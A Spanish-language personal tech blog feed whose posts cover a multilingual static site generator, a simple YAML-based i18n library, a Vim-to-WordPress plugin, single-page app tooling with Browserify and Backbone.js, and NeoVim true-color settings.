Café y webs multi-idioma

¡Hola!

Tras mucho currelar en esto ya toca el momento de hablar de Schiumato, un generador de sitios web estáticos que ya mencioné en mi entrada sobre el amado arte de afeitar animales lanudos.

Lo hice para gestionar la página web de ElenQ Technology, la empresa que estoy fundando y que también os mencioné in the past.

Como ya he hecho la web y esto ha funcionado es momento de contar cómo funciona y cómo se utiliza.

La verdad es que tiene una lista más larga de cosas pendientes que la lista de cosas hechas, pero es un programa tan extremadamente sencillo que da risa. Pero funciona. Como tiene que ser.

Lo podéis instalar directamente con:

npm install -g schiumato

Para usarlo también os recomiendo que instaléis un servidor HTTP para probar.

npm install -g live-server

Este servidor mola porque cuando se hacen cambios en sus ficheros te actualiza el browser automáticamente. ¡Para nuestro proceso vendrá perfecto!

Schiumato funciona de la siguiente manera:

Tienes un conjunto de plantillas de nunjucks con un par de movidas extra que yo he añadido: _() y filter translate sirven para traducir. Todo string bajo esas funciones será traducido tomando como referencia los ficheros de locales. Tenéis más explicaciones en la minidocumentación de Schiumato.

Cuando disparemos schiumato create, se procesarán esas plantillas y el resultado se copiará en la carpeta de destino de forma ordenada. Las plantillas se renderizan en orden, una vez por idioma, y se vuelcan en su carpeta correspondiente. Los ficheros de la carpeta estática se copian literalmente. Por ejemplo, con mi web:

www
├── en
│   ├── about.html
│   ├── contact.html
│   ├── index.html
│   ├── services.html
│   └── support.html
├── es
│   ├── about.html
│   ├── contact.html
│   ├── index.html
│   ├── services.html
│   └── support.html
├── eu
│   ├── about.html
│   ├── contact.html
│   ├── index.html
│   ├── services.html
│   └── support.html
└── static
    ├── css
    │   ├── fonts.css
    │   ├── normalize.css
    │   ├── skeleton.css
    │   └── style.css
    ├── files
    │   └── publickey.hello@elenq.tech.txt
    ├── fonts
    │   ├── LatoLatin-Light.eot
    │   ├── LatoLatin-Light.ttf
    │   ├── LatoLatin-Light.woff
    │   ├── LatoLatin-Light.woff2
    │   ├── LatoLatin-Regular.eot
    │   ├── LatoLatin-Regular.ttf
    │   ├── LatoLatin-Regular.woff
    │   ├── LatoLatin-Regular.woff2
    │   └── OFL.txt
    └── img
        ├── ElenQTechLogo.png
        ├── ElenQTechLogo.svg
        ├── faces
        │   └── ekaitz.jpg
        ├── liberapay.svg
        └── projects
            └── sotapatroi.png

10 directories, 34 files

Veis como se vuelca 3 veces el HTML, en Inglés, Español y Euskera. El contenido estático está sólo una vez porque no se traduce y así no se replica.

Con live-server arrancado en la carpeta www, podéis ir viendo cómo quedan las cosas cada vez que lanzáis una creación.

Y este es el rollo.

Si queréis ver las plantillas podéis verlas en el repo de la web aquí.

Para hacer el deploy copiáis toda la carpeta WWW y ya, eso sí, tenéis que seleccionar el idioma que queréis que se muestre por defecto para que os redireccione ahí vuestro servidor para que se vea algo al entrar a la raíz. Eso es fácil de hacer.

Y nada, esta es la web resultante:

http://elenq.tech

Esta también redirecciona a HTTPS 😉

Espero que os mole el rollo.

Sed buenos.

Anuncios

Traducciones y tripas

Hola chavales,

He sacado un rato para contaros una cosilla que me ha tocado investigar últimamente. Las herramientas de traducción de aplicaciones, también conocidas i18n y l10n por internationalization y localization (contad las letras de las palabras y entenderéis el número).

Esas herramientas de traducción no son simplemente eso. Sirven para traducir y localizar las aplicaciones, no sólo traducen las frases o palabras, también saben elegir si usar un singular o un plural dependiendo de un número o utilizar cuantificadores como “mucho” o “poco” (pluralization). A parte de eso, valen para transformar la moneda, el formato de las fechas, las unidades de medida y ese tipo de cosas. El l10n hace unas cosas y el i18n otras leed al respecto que no es malo informarse (y se escapa a lo que quiero contar aquí).

Hoy quiero contarlos cómo hacer una aplicación de éstas de forma simple, y sólo me centraré en las traducciones. Además, tendréis mi solución de i18n de la que hablé en la entrada anterior, que es rematadamente simple y trata exactamente de lo que hablaré aquí hoy1. Ni más ni menos.

Esta entrada pretende que se os ocurra a vosotros cómo hacer una librería de este estilo, tirando a lo simple, para que los más novatos entendáis cómo es posible hacer cosas útiles con el conocimiento que ya tenéis. No es tan difícil programar. Pensadlo: si lo fuera, posiblemente el que os escribe no sería capaz de hacerlo.

Vale, vamos a por ello.

¿Cómo creéis que funciona una mierda de éstas?

Pensad un poco conmigo. Recordad que sólo queremos que pueda traducir, no queremos pluralización ni extras (luego hablaremos también de eso).

A nivel de usuario de la librería, normalmente funcionan de la siguiente manera:

  1. Importamos la librería en el programa que queramos que pueda ser traducido.
  2. En todo el texto que vaya a ser visto por el usuario se pone un identificador de algún tipo. Normalmente se trata de una llamada a una función entregada por la librería. Ejemplos:

i18n("texto a traducir")

_("texto a traducir")

gettext("texto a traducir")

  1. De alguna manera, se vuelcan todos los strings para traducir en unos ficheros con espacio para su traducción. Uno por idioma.
  2. Se traducen.
  3. Durante la ejecución, la aplicación busca los strings a traducir antes de mostrarlos en los ficheros. Cuando los encuentra, usa la traducción adecuada al lenguaje configurado por el usuario.

Así es como funciona. Simple ¿No?

Si no me he explicado bien podéis buscar algunas librerías de i18n y mirar su documentación para ver qué formato de ficheros utiliza o qué herramienta extrae los strings para la traducción.

Una vez entendido esto, hay que empezar a darle vueltas a cómo lo implementaríamos. Durante el desarrollo de esto haré algunas trampitas, porque soy un poco malévolo, pero os prometo que tendrán sentido.

¿Cómo lo haríais vosotros? ¿Por dónde empezaríais? ¿Qué os parece lo más difícil?

Nosotros vamos empezar por el paso 2 de la lista anterior. La forma de indicar que los strings son traducibles. La mejor forma es meterlos en una función, aunque habría otras. Si le damos al usuario de la librería una función a utilizar será simple: la aplicará a los strings que le interesen y todo irá bien.

Hay muchas formas de hacer esto, la más fácil es que los ficheros de traducción sean simples ficheros tipo JSON donde las claves sean el texto a traducir y los valores la traducción:

{
"hola": "hi",
"adiós": "bye"
}

Con esto así, cuando se llame a la función con un string sería suficiente con buscar en ese JSON la clave y devolver el valor. En JavaScript y simplificando muchísimo:

var traduccion = carga_traduccion();
function _( string ){
  return( traduccion[string] );
}

Lo que no hemos hecho todavía es esa función carga_traduccion que vemos en el snippet y tampoco gestionamos cuál es el idioma actual del usuario.

Eso tampoco es taaan difícil ¿no?

Podemos tirar por un formato orientado a objetos para hacerlo sencillo. Suponemos que el sistema de traducciones es una clase/prototipo (no me voy a poner a discutir esto ahora) con un campo de “idioma actual” y lo de arriba se transformaría en algo un poco más complejo si suponemos que el JSON de idiomas tiene un nivel de más que referencia al idioma. En JavaScript de nuevo:

{
"hola": { "english": "hi", "euskera": "kaixo" }
"adiós": { "english": "bye", "euskera": "agur" }
}

//...
function _( string ){
  this.traduccion[string][this.idioma];
}
//...

Una vez tenemos esto, sólo necesitamos hacer que nuestra clase/prototipo pueda configurar el idioma, leer los ficheros de idioma automáticamente al iniciar (el carga_traduccion de antes) y que le entregue la función _ al hilo principal.

Cargar los ficheros en principio es sólo leer una carpeta y ya. Aunque si estamos en el browser tenemos que hacer alguna magia añadida que no debería costaros mucho. Tema resuelto.

¡Coño! ¿Y ya está?

En realidad no, porque el traductor tendría un desastre de ficheros de idioma, y encima tendría que rellenarlos a mano. Lo suyo es que haya una herramienta tipo gettext que extraiga todos los strings a traducir y los vuelque en ficheros que luego tengan que traducirse. Ésta es la trampa, este punto es el más difícil. En mi solución de i18n, como sé que el lugar donde va a usarse lo permite, la propia clase vuelca los ficheros (también llamados catalog) al terminar la traducción, pero esto no es factible siempre porque si la ejecución del programa nunca pasa por mostrar el string nunca aparecería en los catálogos. (¿Quizás con unos tests brutos podríamos hacerlo?)

Otro punto interesante es tener en cuenta que hemos usado strings con texto, en nuestro caso en castellano. Entonces si el usuario tuviese seleccionado el idioma en castellano no tendrían que traducirse y tendrían que entregarse igual. Hay dos formas sencillas de atacar este problema:

  1. Obligar al usuario a no poner el string en concreto y poner un identificador para siempre se busque en la traducción.
  2. Tener configurado un idioma por defecto que sea el original.

Otra cosa que quiero tocar es que esos ficheros de JSON pueden ser la muerte (a pesar de que algunas herramientas los usan) porque si el texto a traducir es muy largo nos quedaríamos con unas claves gigantescas en una única línea (JSON no permite claves multilínea). El contenido también sería difícil de traducir porque también sería en una sola línea y tendría también caracteres especiales por el medio para marcar los saltos. ¡Quizás sea mejor usar otro tipo de fichero! Mi solución i18n usa YAML1 pero también tiene un sistema diferente para gestionar las claves. Si os interesa me preguntáis o lo miráis.

Otro punto extra es que no tenemos ninguna información sobre lo que estamos traduciendo. La misma palabra puede tener que traducirse de dos maneras diferentes dependiendo de dónde esté porque el contexto puede ser distinto. En este caso, nuestro programa sólo contempla que textos iguales se traducen igual.

Tampoco nos dice en qué línea del programa original está lo que traducimos así que es difícil encontrarlo.

Ni nos da ningún tipo de detalle sobre la traducción, cosa que en algunas soluciones i18n existe: Te permiten poner palabras clave para definir el contexto mejor como guías para los traductores que se ignoran en el programa pero que se vuelcan en los ficheros de traducción. Ejemplo:

i18n("Abrir", "Abre un fichero"); // siendo Abrir el string a traducir

Ya os he hablado de la pluralización antes, y de la internacionalización también. Eso también complica las cosas…

Joder…

Bueno eso, que era fácil…

¿No?

😉

Un abrazo.

De sitios web, traducciones y vacas peludas

Hola chavalada,

Hace mucho que no os traigo nada fresco y me parece muy mal y más vale que a vosotros también porque si no no entiendo por qué os leéis esta mierda de sitio.

Con eso de la empresa necesito una página web. ¿Quién no necesita una hoy en día? ¡Si hasta las panaderías tienen!

Como soy un afeitador de yaks profesional me he dedicado un par de semanas a hacerlo. No sé parar. Os cuento cómo fue el rollo.

Necesitaba una página web para la empresa. Esto me llevó a querer escribirla, pero quería que fuera simple y estática y no quería tener que gestionar todo en HTML a pelo y repetir pedazos así que tenía que ser modular. Para esto necesitaba un generador de páginas web. Lo malo es que el creador de webs tenía que ser capaz de traducir todo de forma automática sin tener que reescribir toda la web.

Y esto no es muy extremo, la verdad. No tardé mucho en conseguirlo (¿un par de días en ratos sueltos?). Aquí la prueba.

Pero ya os he dicho que no sé parar y como el tipo de fichero de traducción generado por gettext no me gustaba, no podía automatizar todo dentro del mismo script porque tenía que llamar a los métodos internos de pyBabel que no estaban muy claros en la documentación y ahora me estoy saturando de python y quiero cambiar de aires pues… Se me fue la olla y decidí hacerlo en Node.js.

No en CoffeeScript, como he hecho otras cosas. Esta vez tenía que ser JavaScript. Porque sí. Además quería forzar un poco de programación funcional y ya que me ponía quería jugar con Underscore porque la quiero usar en otro proyecto y ya mato dos pájaros de un tiro.

Cuál fue mi sorpresa cuando me puse a investigar diferentes librerías de templating y de i18n (internacionalización, para las traducciones) y no me quedaba satisfecho.

Para el templating probé cosas parecidas a Jinja, que es lo que conocía y el proyecto que hice en Python que te he linkado antes. Fueron:

  • Jinjs: Una implementación en de Jinja en Node.js. Casi compatibles al 100% pero no tiene muy buena documentación. Te referencia a la de Jinja y me daba miedo basarme en cosas que luego no funcionaran bien.
  • Plate: No probé mucho, hice un ejemplo y funcionó bien. Son plantillas compatibles con las de Django (un framework web de Python), que al mismo tiempo es el projecto en el que se basan las de Jinja que usé en la prueba de concepto de antes.
  • Nunjucks: Un proyecto basado en Jinja. Muy similar y compatible en todo lo que necesitaba. Me quedé con estas porque tienen una docu bastante decente. Aunque luego una cosa que quise hacer no estaba bien documentada y la tuve que hacer de otra manera. 🙂
  • Y algunas otras diferentes por probar, pero no me gustaron para esta aplicación. Mustache y similares. Interesantes también para otras cosas.

Pero eso sólo solucionaba medio problema.

La mayor parte de soluciones de i18n que encontré tienen muchas cosas que no necesito como que te capturen automáticamente las locales y encima usan un fichero JSON para las traducciones que es muy difícil de gestionar con strings largos o multilínea. Este último problema en mi caso era grave porque traducir una web conlleva mucho contenido, no es lo mismo que una aplicación. Así que tenía que hacer algo.

Pensé que usar un YAML molaba mucho más porque gestiona los strings largos de una forma mucho más bonita. Para empezar, puede ajustarse el ancho del fichero a un límite de caracteres por defecto y, con eso, marca de forma distinta los strings que son muy largos y han sido ajustados al ancho del fichero añadiendo saltos de línea o los strings que contenían saltos de línea y deben ser leídos de forma literal. Esto para mí es oro puro y lo necesitaba.

Así que. Lo hice. Me dediqué unos días a crear mi propia librería de i18n (que tengo que documentar mejor, por cierto). Está aquí:

https://github.com/ekaitz-zarraga/i18n_yaml

Y la podéis instalar con:

npm install i18n_yaml

Y eso ya me habilitó el poder hacer el constructor de sitios webs estáticos con i18n á la Ekaitz y lo pude hacer y poner aquí:

https://gitlab.com/ElenQ/schiumato

Ahora mismo está un poco en bragas (tenéis una lista de cosas pendientes al final del README.md), pero tiene buena pinta y funciona. No os voy a contar de donde viene el nombre porque entonces tendría que hablar de otro gestor de sitios que… Ejem.

Todavía me queda el último salto de la recursión, claro, me queda hacer la web. Pero eso os lo cuento otro día.

Tampoco he entrado en profundidad a contar cómo funcionan estas cosas, como me suele gustar hacer. Igual lo hago pronto y aprovecho para documentarlas un poco mejor.

Un abrazo.

Seguid afeitando yaks y cambiando el mundo por el camino.

droWMark, postea en WordPress desde Vim

Hola hijos,

Hoy vengo a contaros una cosa loca que he estado desarrollando para mí durante el último año en ratos libres.

Hace tiempo que salió su primera versión pero no lo publiqué porque no saqué tiempo y porque me daba un poco de vergüenza porque era muy cutre, pero ahora que tengo más tiempo (ya os contaré por qué) me he decidido a añadirle unas funcionalidades nuevas y estoy contento.

Vengo a presentaros droWMark, un plugin para Vim que sirve para postear a WordPress desde el editor, escribiendo en Markdown (con sabor a Pandoc). Por si os lo preguntabais, sí, llevo como un año posteando en este foro directamente desde Vim.

Hasta hace muy poquito el plugin no soportaba la subida de imágenes, pero tampoco lo necesitaba porque pocas veces añado imágenes a los posts. 🙂

Os cuento un poco cómo funciona por debajo y si queréis más información os leeis la documentación del plugin, que es bastante clara. Para leerla con entrar en la carpeta doc en el repo es suficiente pero mola más que os lo instaléis (usad Vundle o algo por favor) y hagáis :help drowmark.

El plugin se separa en dos partes, una en VimL (o VimScript) y otra en Python.

La parte en VimL se encarga de gestionar todo lo relacionado con Vim y llamar a la parte de Python. Hace las siguientes cosas:

  • Syntax highlighting de los ficheros especiales que utilizo. Son una mezcla de Markdown con un poco de INI1 en la cabecera (aunque no por mucho tiempo).
  • La documentación del plugin, para poder hacer :help drowmark y esas cosas.
  • Define el nuevo tipo de fichero WP. Para esto necesita detectar el tipo de fichero y marcarlo bien. De esto se encarga ftdetect.
  • Gestionar el post de plantilla para que se pueda hacer :NewWordPress y te prepare el archivo. Simplemente se guarda un fichero de referencia que se escribe en el búfer actual al llamar al comando. Fácil.
  • Llama al script de python de forma ordenada pidiéndole los credenciales al usuario. Mientras escribes la contraseña no muestra nada en la pantalla, pero no está muy fino y si te equivocas y borras no funciona. Si leéis el código entenderéis por qué.

La parte de python es todo lo relacionado con WordPress y la funcionalidad que se quería ofrecer. Así puede separarse y usarse sola o migrarse a otros editores. Tengo pendiente migrar a Emacs pero necesito la ayuda de mi divertida hermana Emacsera para eso. La parte de Python hace lo siguiente por el momento.

  • Captura las opciones puestas en la cabecera INI y construye un blogpost con ellas.
  • Convierte el MarkDown a HTML usando panflute. En las versiones anteriores lo hacía con pypandoc.
  • Durante la conversión (esto es la novedad de la versión 1.1) busca todas las imágenes en el texto y las sube si son ficheros locales cambiando la URL para que referencia al recién subido archivo. Lo mismo ocurre con el campo thumbnail de la cabecera.
  • Postea el documento convertido.

Y eso es todo.

Fijaos que esta entrada tiene un thumbnail (o imagen destacada) y una imagen aquí debajo. Están únicamente puestas para demostrar que puedo.

Imagen puesta para fardar

No os toméis este Plugin como la mejor manera de hacer las cosas, sólo quiero que veáis que cuando nos apetece cambiar nuestro workflow con un poco de esfuerzo podemos conseguirlo. No hace falta volverse muy loco.

Si leéis el código fuente veréis que es un script de Python muy corto y bastante cutre. A veces merece la pena programar agresivo si el programa cumple con lo que debe.

Ahora mismo estoy en ese proceso de ir convirtiéndolo en un programa razonable, pero, de momento, es un poco mierda porque funciona y para mí es suficiente. Si empezamos grande a veces nos aburrimos antes de terminar. Mejor empezar pequeño y cuando la cosa dé unos frutos recuperar la motivación para poder crecer.

¡Espero que os mole y lo probéis!

Comentarios y críticas, en la sección de abajo.

Un abrazo.


  1. INI son los ficheros como la configuración de Git, hice un parser de esto en C hace un tiempo

Single-page apps: Razones y herramientas

Hola,

Para un proyecto he estado trabajando con el concepto de las single-page apps y he estado investigando alternativas para hacerlas. Hoy os comparto el análisis que hice, a mi manera como siempre, empezando por el contexto de estas cosas modernas y terminando por las opciones que yo tomé para ese caso concreto pero siempre enseñándoos de dónde viene la movida y basándonos en el lado teórico, que es lo que nos interesa.

Mi caso concreto era una aplicación relativamente sencilla, que me encantaría enseñaros pero no puedo (acuerdos de confidencialidad y esas cosas, cuando seáis mayores los tendréis). Como he dicho antes, mi situación me hizo tomar decisiones en una dirección pero la vuestra puede ser otra y puede que necesitéis elegir otras alternativas

Voy a hacerlo básico y no voy a profundizar en los detalles. Empezará muy tonto y subirá de level, no lo dejéis a medias porque os parezca simple que habrá movida para rato.


Contexto: Single page apps

Normalmente solemos tener un escenario con esta pinta cuando se trata de aplicaciones web: Un servidor con toda la lógica, lo que luego llamaremos backend, y una parte que se encarga de visualizar lo que sale del mismo y permitir cambios, lo que se llamará frontend.

El backend a veces expone métodos, a través de una API RESTful normalmente (que está de moda), consultables directamente desde fuera sin pasar por el frontend.

El frontend puede tener muchas formas aunque para el caso de hoy trataremos el caso de una página web. Otro ejemplo sería una aplicación móvil, por ejemplo.

Normalmente las páginas web de este tipo, tienen un lado de servidor y un lado de cliente (lo conté aquí). El lado de servidor entrega los ficheros estáticos y crea las diferentes páginas con su server side templating en su Flask, PHP (yuyu) o lo que sea accediendo a la parte backend, ya sea por métodos externos o porque son el mismo servidor y la línea entre frontend y backend es muy delgada.

En este documento se plantea la manera de eliminar completamente la parte de servidor de ese frontend para que haya un backend que exponga toda su funcionalidad de forma estándar y un frontend que le diga lo que tiene que hacer.

¿Pero qué ganamos con esto, tío loco? Ganamos que el servidor podría ser accedido por cualquier software donde se incluyen aplicaciones de escritorio, terminales, demonios, un chip que se ha inventado mi cuñao o una aplicación móvil. Además, quitamos la parte de visualización del servidor, entregando siempre datos parseables por cualquiera.

Con esto hemos, colateralmente, convertido nuestro frontend clásico en un programa que se le entrega al navegador y corre en él y ya no necesita de un trabajo especial para ser entregado. Ahora el frontend es una single-page app entregada de forma estática.

Implicaciones en el backend

Poca cosa. Entregar JSON (API REST) en lugar de HTML construido es incluso más sencillo.

Implicaciones en el frontend

  • Requiere de más carga en el browser para compensar lo que le hemos quitado de nuestro servidor. No es muy grave, ahora los dispositivos están acostumbrados.
  • Se convierte en un programa en sí mismo. Necesita:
    • Más librerías para hacer todas las labores nuevas.
    • Manejar dependencias para que no se desmadren las librerías.
    • Una arquitectura. Una forma ordenada para atacar la API.
    • Facilidades para gestionar un código más complejo.

Elecciones tomadas

En esta sección se mencionará qué se ha seleccionado en el caso del que os hablaba con el fin de resolver esas implicaciones que han aparecido pero más adelante se pretende introducir la teoría de cada una de las elecciones para que vosotros os planteéis otras y sepáis adaptaros a vuestro contexto con mejores armas. No os toméis esto ni siquiera como una recomendación. Sólo es un caso concreto.

  • Más librerías: Hay miles de maneras de gestionar las librerías: Descargarlas a mano, usar Bower, etc. Se ha optado por usar NPM (Node Package Manager) que a pesar de estar orientado para el server side nos valdrá porque haremos un truco encima.
  • Gestión de dependencias: Existen un par de maneras principales de gestionar dependencias en el lado de cliente. Se eligió Browserify porque unido a NPM funciona muy bien. Tiene sus desventajas, pero unido al resto de puntos (luego lo veréis) se convierten en facilidades.
  • Una arquitectura: Si no nos organizamos va a ser imposible pedir cosas al backend y ponerlas en la pantalla de forma sencilla. Para esto se ha seleccionado una de las arquitecturas más simples: MV (Model-View), porque diferencia la parte de los datos, el Model, de la visualización, la View, de forma sencilla sin elementos intermedios. Luego hablamos de la familia MV* y de otras cosas. Se ha usado una librería que facilita mucho este trabajo, se llama Backbone.js.
  • Facilidades de gestión: Este código empieza a tener entidad y programarlo todo en un único fichero de JavaScript kilométrico ya no es tan factible como antes. Necesitamos estructurar y separar. Gracias a Browserify y Backbone tenemos la perfecta oportunidad de usar CoffeeScript para programar. Este lenguaje de programación permite usar Programación Orientada a Objetos de forma sencilla, tiene una sintaxis muy simple y tiene un millón de trucos que nos vendrán bien y encajan perfectamente con el proyecto.

Teoría

Ahora cuento un poco de qué van todas las cosas que he mencionado arriba pero profundizando un poco en el sentido teórico de las mismas. No fear.

Dependencias y librerías: Bundles VS AMD

La mejor opción de las dos que se platean aquí como solución técnica es el AMD. AMD o, Asynchronous Module Definition, es una forma de definir módulos de código Javascript que se cargan en el cliente a medida que se van necesitando. De esta forma, no se descarga todo el código de golpe y si el hilo de ejecución no llega a utilizar un módulo pues no se descarga y punto. Ahorramos descargas y tenemos mejor rendimiento. Hay una librería muy famosa que implementa esto: Require.js. Aunque hay más. En su documentación podéis leer más al respecto e incluso una comparativa de por qué mola más que la otra alternativa.

La otra alternativa, la que en el título denomino Bundles, es CommonJS con magia extra aportada por Browserify. CommonJS es un proyecto para llevar JavaScript a otros entornos que no sean el Browser, por ejemplo, Node.js es una de sus implementaciones. CommonJS tiene una manera de gestionar dependencias basada en las sentencias require y module.exports. En el caso de Node.js, en cuanto el intérprete encuentra una sentencia require busca el fichero al que se hace referencia y lo importa. Esta búsqueda es lo que vamos a explotar.

Todos conocéis NPM (Node Package Manager), una herramienta para gestionar librerías y programas de Node.js y las dependencias de los mismos. Node.js, a la hora de buscar los ficheros requeridos busca la instalación hecha por NPM para encontrarlos (carpeta node_modules), con lo que, si tenemos todo instalado con NPM, es extremadamente sencillo gestionar las dependencias y cargar los módulos en nuestros programa, así como diseccionarlo en diferentes ficheros.

¿Pero no hemos dicho que esto es para entornos que no sean el Browser?

Sí, eso hemos dicho. Ahí es donde entra Browserify.

Browserify es una herramienta para convertir un bloque de código con pinta de Node.js en código ejecutable en el Browser. Browser-ify. Browser-izar.

Browserify resuelve todos nuestros require y module.exports de Node.js y browseriza nuestro código fuente creando un sólo fichero (el Bundle) con todo nuestro proyecto unido debidamente (con sus closures de protección y todo). Así sólo necesitamos añadir un tag script en nuestra web con el fichero generado y ya tendríamos todo bien ordenado como he dicho antes, usando NPM y todo su poder de gestión de dependencias por debajo.

En comparativa con los AMDs vemos varias cosas:

  • El Bundle es todo nuestro código fuente, así que la descarga inicial es mayor que el AMD, que lo descargaba todo por partes cuando lo necesitaba.
  • Gestionar las dependencias con NPM es más fácil que rascarse la oreja. Tenemos los package.json y todas esas cosas y, además, podemos crear un paquete con nuestra web como resultado y facilitar también los deploys.
  • El AMD mola más pero tiene una sintaxis loca. No he hablado de esto antes pero requiere que aprendamos otra sintaxis extra, que no es muy difícil pero hay que pensar que nuestros módulos se cargan de forma asíncrona y otros temas. No es copiar la sintaxis de Node.js que ya sabíamos por otras cosas.
  • Con Browserify podemos compartir las mismas dependencias en el Browser y en el Server si lo tuviéramos.
  • Y la más importante de todas: Browserify, como habéis entendido sin que lo haya puesto de forma explícita, requiere de un preprocesamiento del código antes de que sea funcional. Antes de ver nuestros cambios tenemos que ejecutar Browserify para que nos construya nuestro bundle. Esto genera problemas a la hora de debuggear porque la línea de tu fichero no es la misma que la del Bundle, por ejemplo. Pero hay workarounds y tampoco es tan grave en aplicaciones pequeñas o de tamaño medio, donde podemos tener un mapa mental completo de lo que hacen.

No lo hemos seleccionado para este proyecto pero el AMD mola mucho también. No lo ignoréis en vuestras aplicaciones futuras.

Arquitectura: familia MV* y Backbone.js

Hemos dicho antes que necesitábamos una manera ordenada de coger los datos, editarlos y pintarlos. Esto se resolvió hace mil de tiempo con la movida del MVC (Model View Controller), que es una arquitectura de tres elementos interconectados y parlanchines. El Model representa los datos de la aplicación, el View la representación visual de los mismos y el Controller una entidad capaz de editar los datos. Dicho de forma sencilla: el Usuario usa el Controller, que manipula el Modelo, que actualiza la View, que el Usuario ve.

Una arquitectura sencilla para crear UIs.

Pues partiendo de esto, es fácil pensar que podemos fusionar sin mucha dificultad el View con el Controller porque, al fin y al cabo, ambas se encargan de facilitar al usuario visión y acceso al Model. Pues con eso generamos un MV (Model View), como Backbone (luego vamos a eso).

También se nos podría ocurrir, ojo, introducir un elemento intermedio en el MV para tener una interfaz entre el Model y el View que se encargue de convertir datos de backend (el Model) en datos de frontend (la View). Esto se le llama MVVM (Model View ViewModel).

¿Y si…? Sí hijo, sí, tranquilo, puedes cambiar la arquitectura mil veces y, si te basas en MV para hacer los cambios, generarás una arquitectura de UI de la familia MV*.

Pues esa es la historia. Mil diferentes pero el mismo fondo.

Backbone.js

Backbone es una librería (no framework, si quieres un framework usa Marionette.js) de MV bastante sencilla. Dispone de varios tipos de elementos que facilitan esto y lo automatizan bastante. La parte positiva de Backbone es que no se las da de listo y supone muy pocas cosas, sólo considera que tienes una API RESTful detrás, nada más (y encima puede pisarse ese comportamiento con otro).

En Backbone existen los siguientes elementos: Model (¡sorpresa!), Collection, View ( 🙂 ), Router, History y Sync. Algunos sirven para el MV (adivinad cuales) y otros aportan funcionalidades que nos vendrán bien. Todos vienen en forma de clase para que los extendamos con nuestras funcionalidades concretas. Cuento un poco.

  • Model y Collection: Ambos representan el Model de la aplicación, pero la Collection es un conjunto de entidades únicas de tipo Model. La Collection se comporta como un array de modelos (con unas cuantas magias por encima). Los modelos y colecciones de Backbone son inteligentes saben pedir por una API REST sus contenidos y actualizarlos usando unos métodos sencillos, toda la lógica de la API está implementada ya. Que bien ¿no?
  • View: Representa la vista de un modelo o una colección. Se le dice cómo tiene que pintarse en la pantalla y cómo tiene que editar el modelo o colección subyacente y se encarga de ello. Con el sistema de eventos de Backbone se puede hacer fácilmente que cada vez que el modelo o colección subyacente cambie se actualice la vista al momento. Tiene varias cosas extra encima para facilitar el trabajo pero eso lo miráis.
  • Router y History: Dos componentes para gestionar las URLs y el Historial del navegador. Esto es importante porque como tenemos una single-page-app la página nunca cambia y, si no hacemos nada, siempre estamos en el índice. Esta parejita actualiza el historial y crea URLs para que podamos compartir enlaces y nos lleven a donde esperamos y podamos usar el botón de atrás del navegador sin problemas.
  • Sync: Esto es lo que los Models y Collections usan por debajo para comunicarse con su fuente. Como se ha dicho, se entiende que la fuente es una API REST pero no tiene por qué serlo. Podemos pisar éste objeto para que acceda a otra cosa, como el LocalStorage u otros, eso lo dejo a vuestras ingeniosas cabezas.

Resumiendo:

Creamos nuestros modelos y colecciones referenciando al modelo de datos del servidor de backend, los asociamos a vistas independientes y conectamos todo para que mágicamente funcione.

Y funciona.

¡Odio Javascript! CoffeeScript y la transpilación

¿Tú también?

Pensaba que estaba solo.

CoffeeScript es un lenguaje de programación que se compila contra JavaScript, es decir, el resultado de su compilación es un programa en JavaScript. Por qué hacer un lenguaje con esta pinta es una pregunta que tiene una respuesta muy simple: Porque JavaScript es una mierda.

Básicamente CoffeeScript añade Syntactic Sugar sobre JavaScript. Elimina las llaves, casi todos los paréntesis, y mucho código inútil, facilita el uso de clases (no prototype ni mierdas) y aporta array comprehensions, oneliners chulos y comprobaciones molonas (como la existencial y el == con cerebro).

El sistema de clases viene muy bien para Backbone, son dos proyectos que trabajan muy bien juntos (son del mismo autor), del que ya hablé in the past

No deja de ser un JavaScript con toques de Python y Ruby. Tenéis otros lenguajes de programación de este pelo, como TypeScript, LiveScript, ELM o ClojureScript, que tienen otro tipo de ideologías más perversas. Donald Trump.

Como habéis sobreentendido, nuestro código lo escribiríamos en CoffeeScript y tendríamos que convertirlo a JavaScript antes de probarlo y eso es un problemilla. En nuestro caso ya no lo es tanto porque, como tenemos Browserify y también requiere cierto procesamiento, ya no sentimos que perdemos nada. Además Browserify tiene la opción de instalar un módulo de CoffeeScript para hacer las dos conversiones a la vez así que no problemo. Se llama Coffeeify, por si queréis investigar.

Si nuestro código fuese para el lado del servidor también podríamos usar CoffeeScript y probarlo directamente con el interprete de CoffeeScript, pero para una aplicación final deberíamos convertirlo para evitar problemas de rendimiento.

Pues ya está, el código está bonito y es fácil de programar, no hay que aprender cosas nuevas para hacer CoffeeScript, sólo un poco de sintaxis sencilla.

EXTRA: CoffeeScript viene con un par de detalles muy locos. Tiene una cosa que se llama Literate CoffeeScript y un tipo de ficheros tipo Makefile llamados Cakefile que automatizan tareas. Ahí lo dejo.


Bueno, pues eso es todo. Iba a poner miles de links pero no lo he hecho. He puesto nombres y palabras clave y que cada uno busque.

Preguntas, comentarios y otras cosas, ya sabéis.

Un abrazo.

PD: Esta vez sí que me he pasado en la longitud pero ya que me he preparado el contenido pues lo cuento bien. 😀

NeoVim True colors

Hola,

Ayer, después un año investigando (no muy bien por lo que he visto finalmente) he conseguido configurar NeoVim para que utilice true colors. La última vez que me puse con esto lo di por imposible pero he vuelto a ello porque he añadido un ColorColumn y necesitaba que tuviera un color más oscuro.

Resulta que no era para nada difícil pero no sé por qué me costó tanto en el pasado.

Antes de empezar NeoVim es una extensión de VIM para añadir alguna funcionalidad extra que seguramente nunca se verán en VIM. Os dejo la página del proyecto y vosotros investigáis.

Ahora al lío.

Para que soporte true colors hay que tener una variable de entorno activada: NEOVIM_TUI_ENABLE_TRUE_COLOR. Que se puede hacer en la propia terminal con un export o haciendo un let en la configuración de NeoVim.

En muchos sitios pone que esta configuración es suficente pero no es cierto. NeoVim necesita más cosas para que los true colors se vean. Si se añade :set termguicolors empezará a funcionar como debe. Esto es un bypass muy loco que hace que la terminal utilice los colores de la GUI.

En Vim hay dos modos de trabajo: el clásico de la terminal y el de la GUI. GUI implica que hay una aplicación de escritorio con sus ventanitas y eso que muestra Vim (gvim, por ejemplo). Los colores de una a la otra opción son diferentes porque se supone que la terminal no es capaz de manejar los mismos colores que una interfaz gráfica, pero eso ya no es del todo cierto. Muchos terminales modernos soportan true colors por lo que pueden usar los colores que, en principio, están hechos para mostrarse en la GUI.

